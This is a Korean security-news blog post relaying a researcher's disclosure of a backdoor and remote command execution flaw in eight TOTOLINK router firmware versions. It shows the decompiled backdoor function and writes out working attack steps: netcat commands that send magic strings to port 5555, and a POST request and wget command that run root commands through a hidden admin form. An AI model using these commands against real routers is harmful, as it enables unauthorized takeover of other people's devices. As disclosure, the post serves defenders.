상세 컨텐츠

본문 제목

[해외보안동향] TOTOLINK 라우터에서 백도어 발견!

국내외 보안동향

by 알약(Alyac) 2015. 7. 20. 18:20

본문

TOTOLINK 라우터에서 백도어 발견!

Backdoor and RCE found in 8 TOTOLINK router models Product Description


라우터 TOTOLINK에서 백도어가 발견되었습니다. TOTOLINK는 국내에서 큰 사랑을 받고 있는 ipTime이 중국 시장에 진출하면서 출시한 브랜드입니다. 테스트를 해 본 결과 최소 8개 이상의 라우터 모델에서 백도어가 발견되었습니다. (펌웨어는 모두 totolink.net 및 totolink.cn 에서 다운로드 받았습니다.)


※ 본 포스팅에서 다루는 백도어는 TOTOLINK 라우터에 존재하는 취약점으로, 현재 국내에서 출시되고 있는 ipTime에서도 해당 취약점이 존재하는지는 아직 확인되지 않았습니다. 


백도어가 존재하는 펌웨어 버전


 

  A850R-V1 : 최신 펌웨어 TOTOLINK-A850R-V1.0.1-B20150707.1612.web

  F1-V2 : 최신 펌웨어 F1-V2.1.1-B20150708.1646.web

  F2-V1 : 최신 펌웨어 F2-V2.1.0-B20150320.1611.web

  N150RT-V2 : 최신 펌웨어 TOTOLINK-N150RT-V2.1.1-B20150708.1548.web

  N151RT-V2 : 최신 펌웨어 TOTOLINK-N151RT-V2.1.1-B20150708.1559.web

  N300RH-V2 : 최신 펌웨어 TOTOLINK-N300RH-V2.0.1-B20150708.1625.web

  N300RH-V3 : 최신 펌웨어 TOTOLINK-N300RH-V3.0.0-B20150331.0858.web

  N300RT-V2 : 최신 펌웨어 TOTOLINK-N300RT-V2.1.1-B20150708.1613.web

 


WAN IP로 변조된 request를 보내면, 공격자는 자신의 웹 페이지에서 HTTP 원격관리화면을 열어볼 수 있습니다. 또한 이 HTTP원격관리화면에서 hidden/boafrm/formSysCmd 형식의 원격실행코드를 통하여 인증을 우회할 수도 있습니다. 현재까지 약 5만대가 넘는 라우터가 해당 백도어의 영향을 받는 것으로 추정됩니다.  



백도어 상세내용


라우터가 시작되면, int.d 스크립트는 /bin/skt 바이너리 문서를 실행합니다. 



  cat etc/init.d/rcS

  [...]

  # start web server

  boa

  skt&

 


skt파일은 MIPS 환경의 클라이언트/서버 역할을 하는 바이너리며, 사용 인자값은 아래와 같습니다.



  server: ./skt

  client: ./skt host cmd

 


QEMU를 이용하면, 이 바이너리를 x86_64 기기에서도 사용할 수 있습니다 : sudo chroot . ./qemu-mips-static ./bin/skt


skt 실행시 별다른 인자값이 없다면 5555 포트를 사용하는 프로세스가 활성화 되면서, 에코서버의 역할만 하게 됩니다.만약 인자값이 존재한다면 인자값에 따른 명령을 5555포트를 통해 전달 할 수 있습니다. skt의 주요 기능은 아래와 같습니다.



   TcpClient :  TCP클라이언트

  TcpServer : 에코 서버

 


TcpClient : hel, xasf, oki, xasf 혹은 bye, xasf이 포함된 TCP패킷을 보낼 것입니다. 이는 어떠한 인자값을 쓸 것인지를 결정해줍니다. (1,2,3)

TcpServer : tcp/5555의 에코서버를 스니핑 하기위해 사용되며사용자로부터 제공되는 스트링("hel,xasf", "oki,xasf")을 비교합니다



Sub_400B50 함수의 백도어코드



  int32_t sub_400B50(int32_t a1, char *str, int32_t a3, int32_t a4, int32_t a5) {   

  if (strcmp(str, "hel,xasf") == 0) {

          system("iptables -I INPUT -p tcp --dport 80 -i eth1 -j ACCEPT");

      } else {

          if (strcmp(str, "oki,xasf") == 0) {

              system("iptables -D INPUT -p tcp --dport 80 -i eth1 -j ACCEPT");

          }

      }

      [...]

  }



이 함수는 사용자의 지정된 스트링을 비교하고, 두개의 하드코딩된 스트링을 system()에서 실행시키는 역할을 합니다. TOTOLINK 기기상에서 동작하는 바이너리 분석을 통하여, 서버모드에서 system() 함수에 의하여 백그라운드에서 실행되는  3가지 명령을 확인할 수 있었습니다. 


1) "hel,xasf"를 디바이스에 보냄으로, 디바이스는 아래와 같은 명령 실행 


 iptables -I INPUT -p tcp --dport 80 -i eth1 -j ACCEPT 


관리자 인터페이스(http포트) 허용 정책 추가 


2) "oki,xasf"를 디바이스에 보냄으로, 디바이스는 아래와 같은 명령 실행 


 iptables -D INPUT -p tcp –dport 80 -i eth1 -j ACCEPT 


 관리자 인터페이스(http포트) 허용 정책 삭제


3) "bye,xasf"를 디바이스에 보냄으로, 디바이스는 아무것도 못하는 상태가 됨


백도어 중에서 iptables명령 코드를 보면 인터페이스가 "eth1"으로 하드코딩 되어있는 것을 확인할 수 있습니다. WAN IP는 eth1 인터페이스를 사용 하기에, DHCP 및 Static IP를 사용하는 디바이스에만 영향을 끼치며, PPPoE연결에는 영향을 미치지 않는다고 볼 수 있습니다.



  "totolink# ifconfig

  ppp0      Link encap:Point-to-Point Protocol  

            inet addr:X.X.X.X  P-t-P:X.X.X.X  Mask:255.255.255.255

            UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1438  Metric:1

            RX packets:17308398 errors:0 dropped:0 overruns:0 frame:0

            TX packets:2605290 errors:0 dropped:0 overruns:0 carrier:0

            collisions:0 txqueuelen:64 

            RX bytes:2803138455 (2.6 GiB)  TX bytes:277402492 (264.5 MiB)bye,xasf"




공격자는 간단한 netcat명령을 통하여 백도어를 테스트 해 볼 수 있습니다. 


1) HTTP 원격관리자 인터페이스 실행 


echo -ne "hel,xasf" | nc <ip> 5555


2) HTTP 원격관리자 인터페이스 종료 


echo -ne "oki,xasf" | nc <ip> 5555 


3) 취약점 존재 여부 확인



  echo -ne "GET / HTTP/1.1" | nc <ip> 5555

  if you see "GET / HTTP/1.1" in the answer, you likely detected a vulnerable router.




원격관리자 페이지 중 원격명령을 실행할 수 있는 취약점


최신 펌웨어에서 숨겨진 폼이 있는데 이를 이용하면 공격자가 root권한으로 명령을 실행할 수 있습니다. 



  POST /boafrm/formSysCmd HTTP/1.1

  sysCmd=<cmd>&apply=Apply&msg=



공격자는 wget을 이용하여 원격으로 명령어를 실행시킵니다. 


wget --post-data='sysCmd=<cmd>&apply=Apply&msg=' http://ip//boafrm/formSysCmd


예를들어, 관리자 인터페이스에 아래와 같은 HTTP request를 보내면, 원격에서 해당 디바이스를 재부팅 시킬 수 있습니다. 



  POST /boafrm/formSysCmd HTTP/1.1

  sysCmd=reboot&apply=Apply&msg=



아래는 wget명령어를 이용한 재부팅 명령입니다. 


wget --post-data='sysCmd=reboot&apply=Apply&msg=' http://ip//boafrm/formSysCmd  



※ 참고 : 

http://pierrekim.github.io/blog/2015-07-16-backdoor-and-RCE-found-in-8-TOTOLINK-products.html



관련글 더보기

댓글 영역